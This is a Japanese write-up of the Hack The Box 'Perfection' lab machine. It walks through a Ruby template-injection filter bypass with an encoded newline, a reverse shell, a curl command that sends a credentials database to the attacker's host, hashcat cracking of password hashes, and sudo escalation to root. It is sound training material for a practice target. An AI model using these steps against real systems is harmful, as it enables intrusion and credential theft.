【Hack The Box】Perfection【WriteUp】

# 初めに
本記事は ___Hack The Box___(以下リンク参照) の「___Perfection___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# 初期探索
## ポートスキャン
```bash
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.253 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.253:22
Open 10.10.11.253:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-12 07:12 EDT
Initiating Ping Scan at 07:12
Scanning 10.10.11.253 [4 ports]
Completed Ping Scan at 07:12, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:12
Completed Parallel DNS resolution of 1 host. at 07:12, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:12
Scanning 10.10.11.253 [2 ports]
Discovered open port 22/tcp on 10.10.11.253
Discovered open port 80/tcp on 10.10.11.253
Completed SYN Stealth Scan at 07:12, 0.23s elapsed (2 total ports)
Nmap scan report for 10.10.11.253
Host is up, received echo-reply ttl 63 (0.20s latency).
Scanned at 2024-03-12 07:12:54 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
```
22と80番Portが公開されている。

実際に80にアクセスしてみると以下のサイトが見える。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/257f13de-f5b2-4842-ad2e-d1be7070c353.png)
## サイト探索
### ディレクトリ探索
まずは`dirsearch`です。
```bash
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://10.10.11.253/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/work/reports/http_10.10.11.253/__24-03-12_07-15-44.txt

Target: http://10.10.11.253/

[07:15:44] Starting: 
[07:16:04] 200 -    4KB - /about

Task Completed
```
何もない。
### エンドポイント列挙
`katana`を使う。
```bash
┌──(root㉿kali)-[~/work]
└─# katana -u http://10.10.11.253/

   __        __                
  / /_____ _/ /____ ____  ___ _
 /  '_/ _  / __/ _  / _ \/ _  /
/_/\_\\_,_/\__/\_,_/_//_/\_,_/							 

		projectdiscovery.io

[INF] Current katana version v1.0.5 (latest)
[INF] Started standard crawling for => http://10.10.11.253/
http://10.10.11.253/
http://10.10.11.253/css/lato.css
http://10.10.11.253/
http://10.10.11.253/css/montserrat.css
http://10.10.11.253/about
http://10.10.11.253/weighted-grade
http://10.10.11.253/css/w3.css
http://10.10.11.253/css/font-awesome.min.css
```
特段いいものがない。

### ブラウジング
`weighted-grade`の階層に入力できそうなものがあるので入力した。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/81ea11c9-1ca9-8f4f-3dce-ca411b796322.png)
表示されている！入力値が表示されれば大体SSTIだというメタ思考が脳裏をよぎる...

# イニシャルアクセス
## SSTI
### URL encode
というわけで`${7*7}`を送り込む。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/dd6b50bf-ac06-ffa0-c6ad-4417d5397fca.png)
ブロックされている表示が出る。
まぁ何か引っかかったのかな？`N/A`のURLエンコードされた値`N%2fA`は通ってたのでURLエンコードは通るかもしれない。
以下のようにRubyのSSTIをエンコードする。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1de1a4d1-5246-4d8e-7a66-54101aa6931e.png)
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/58d85c8c-4bc8-ca20-2f69-f6e435fb2a0c.png)
これもブロックされる。
えぇ...ならちょっと256個試してみるよ。
### Burp Intruder
Burpで便利にFuzzingできる機能があるのでこれを利用する。
改行区切りのリストを読み込ませると、それを各ペイロードとしてリクエストの任意の箇所に叩き込める。
そのためのリストを作るのだが、今回はURLエンコードされた文字のどれが通るのか確認したいので`%01-%ff`のリストを作成する。
大体Pythonのインタプリタモードで軽く作れるので以下のように作ってみてほしい。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6b208d0d-8882-5c01-23f1-ed52fb1660f8.png)
```python
for i in range(256):
    print("%" + "{:02x}".format(i))
```
CTFのPwnをやるとここら辺のエンコードやデコード、16進数の扱いでPythonインタプリタモードを多用するので（個人的に）Pwnを試して力を付けていきましょう！
これをコピペして以下のように`Simple list`に叩き込みます。
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d9a8538b-4b94-eb83-6f4d-26a203cdb62e.png)
実行します。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/3c57d1ee-8752-0b32-d06e-6cb17159aaab.png)
このように通る場合は通らない場合と違ってレスポンスの長さが違うので通るエンコード文字が分かる。`%20`は空白ですね。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1579e207-5a18-1f90-5942-55b67f33d21d.png)
`%0a`が通ってる。`0a`はPwnをやってる人には`sendline()`でおなじみ改行の文字コードです。
実際にレスポンスでも改行されて`60%`の部分が見えてます。
もしかしたら`malcious`判定はreadline範囲での検査かもしれないので、改行コードに続けて先ほどのRubyのSSTIのコードを送り込みます。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/220992a6-94a2-6be8-6517-7d992d2633fb.png)
通ってます。続いてpingをおくってみます。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f1cf7799-4cff-87d2-a30b-92701d9ee12a.png)
通ってます！コマンドを打てるので、これはRevshellの出番ですね。

### Reverse Shell
いつものrevshellを使います。

https://www.revshells.com/

作成したRevshellをエンコードします。
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7a7423e0-7261-8310-8170-81893475b074.png)
叩き込みます。
![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6bdf4ea5-b2fd-4c37-78bd-81cc4bf15483.png)
これでUserフラグゲットデス！

# 特権昇格
## 列挙
### linpeas
回します。
```bash
susan@perfection:/tmp$ ./linpeas.sh


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |
    |---------------------------------------------------------------------------------|
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |
    |         Follow on Twitter         :     @hacktricks_live                        |
    |         Respect on HTB            :     SirBroccoli                             |
    |---------------------------------------------------------------------------------|
    |                                 Thank you!                                      |
    \---------------------------------------------------------------------------------/
          linpeas-ng by carlospolop

ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's 'permission.

Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...

                               ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
                               ╚═══════════════════╝
OS: Linux version 5.15.0-97-generic (buildd@lcy02-amd64-033) (gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #107-Ubuntu SMP Wed Feb 7 13:26:48 UTC 2024
User & Groups: uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
Hostname: perfection
Writable folder: /dev/shm
[+] /usr/bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /usr/bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h)



Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE

                              ╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════
                              ╚════════════════════╝
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 5.15.0-97-generic (buildd@lcy02-amd64-033) (gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #107-Ubuntu SMP Wed Feb 7 13:26:48 UTC 2024
Distributor ID:	Ubuntu
Description:	Ubuntu 22.04.4 LTS
Release:	22.04
Codename:	jammy


...省略

╔══════════╣ Files inside /home/susan (limit 20)
total 48
drwxr-x--- 7 susan susan 4096 Feb 26 09:41 .
drwxr-xr-x 3 root  root  4096 Oct 27 10:36 ..
lrwxrwxrwx 1 root  root     9 Feb 28  2023 .bash_history -> /dev/null
-rw-r--r-- 1 susan susan  220 Feb 27  2023 .bash_logout
-rw-r--r-- 1 susan susan 3771 Feb 27  2023 .bashrc
drwx------ 2 susan susan 4096 Oct 27 10:36 .cache
drwx------ 3 susan susan 4096 Mar 12 14:10 .gnupg
lrwxrwxrwx 1 root  root     9 Feb 28  2023 .lesshst -> /dev/null
drwxrwxr-x 3 susan susan 4096 Oct 27 10:36 .local
drwxr-xr-x 2 root  root  4096 Oct 27 10:36 Migration
-rw-r--r-- 1 susan susan  807 Feb 27  2023 .profile
lrwxrwxrwx 1 root  root     9 Feb 28  2023 .python_history -> /dev/null
drwxr-xr-x 4 root  susan 4096 Oct 27 10:36 ruby_app
lrwxrwxrwx 1 root  root     9 May 14  2023 .sqlite_history -> /dev/null
-rw-r--r-- 1 susan susan    0 Oct 27 06:41 .sudo_as_admin_successful
-rw-r----- 1 root  susan   33 Mar 12 13:56 user.txt
-rw-r--r-- 1 susan susan   39 Oct 17 12:26 .vimrc

╔══════════╣ Files inside others home (limit 20)
/var/www/html/index.nginx-debian.html

╔══════════╣ Searching installed mail applications

╔══════════╣ Mails (limit 50)
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/mail/susan
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/spool/mail/susan
```
ん？`sudo`のグループ？
嘘やん。と、とりあえず`/var/mail/susan`でも見てみよ。
![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/703a79ee-85f7-ab12-3050-bf0b5865bd44.png)
あ...パスワードの規則っぽいのが書いてる。
和訳してみるか。
![16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0623c9cc-d229-301b-34ee-111858bff48a.png)
なるほどね。
んじゃパスワードクラックの方針かな？
## Password Crack
### Transfer
ユーザのホーム階層配下の`Migration`階層にいかにもなファイルがある。
```bash
susan@perfection:~/Migration$ ls -lta
total 16
drwxr-x--- 7 susan susan 4096 Feb 26 09:41 ..
drwxr-xr-x 2 root  root  4096 Oct 27 10:36 .
-rw-r--r-- 1 root  root  8192 May 14  2023 pupilpath_credentials.db
```
このdbファイルを転送する。
転送にはuploadserverを利用する。
```bash:kali
┌──(root㉿kali)-[~/work]
└─# python -m uploadserver 80
File upload available at /upload
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```
BOXに以下のコマンドを叩き込む。
```bash:BOX
curl -X POST http://10.10.14.14/upload -F 'files=@/home/susan/Migration/pupilpath_credentials.db'
```
転送出来たらしっかりとハッシュをとり、欠損がないか確認する。
```bash
# BOX
susan@perfection:~/Migration$ md5sum pupilpath_credentials.db
71718a36c8b016aab9e37f8c390503ee  pupilpath_credentials.db
susan@perfection:~/Migration$

# kali
┌──(root㉿kali)-[~/work]
└─# md5sum pupilpath_credentials.db         
71718a36c8b016aab9e37f8c390503ee  pupilpath_credentials.db
```
転送は成功しているようなので、このファイルを確認する。
![17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6bb39491-c9fa-417e-505d-cd7a113ca230.png)
書いてるわ。`hashid`でエンコード種別を見てみる。
```bash
┌──(root㉿kali)-[~/work]
└─# hashid abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f      
Analyzing 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f'
[+] Snefru-256 
[+] SHA-256 
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 
[+] GOST CryptoPro S-Box 
[+] SHA3-256 
[+] Skein-256 
[+] Skein-512(256) 
```
SHA-256ぽい。後はこのハッシュをhashcatで解析します。
メールのパスワード規則に注意しながら数字の桁数を上げてクラックしていきます。
### hashcat
1桁から調べていき、9桁目の`?d`を投入してみた。
```bash
┌──(root㉿kali)-[~/work]
└─# hashcat -m 1400 -a 3 hash "susan_nasus_?d?d?d?d?d?d?d?d?d"
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-penryn-Intel(R) Core(TM) i7-10700F CPU @ 2.90GHz, 2919/5902 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force
```
![18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e163a5d5-26cd-5978-aae4-0190f4756bd5.png)
やっと解析出来た！
これでsudoのパスワードが打てる！
```bash
susan@perfection:~/Migration$ sudo -l
[sudo] password for susan: 
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User susan may run the following commands on perfection:
    (ALL : ALL) ALL
susan@perfection:~/Migration$ 
```
ありゃ、んじゃそのまま...
![19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a180bc9c-3977-93c5-fc8f-8071930d1760.png)
できてしまいました。Rootフラグゲットデス！

# まとめ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/89a13c82-c9fa-0e2c-bd19-b69cd1e84c61.png)
これで特権昇格に成功し、Root権限奪取に成功しました。
久しぶりのEasyのWriteupを書きました。サボっててすみません。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。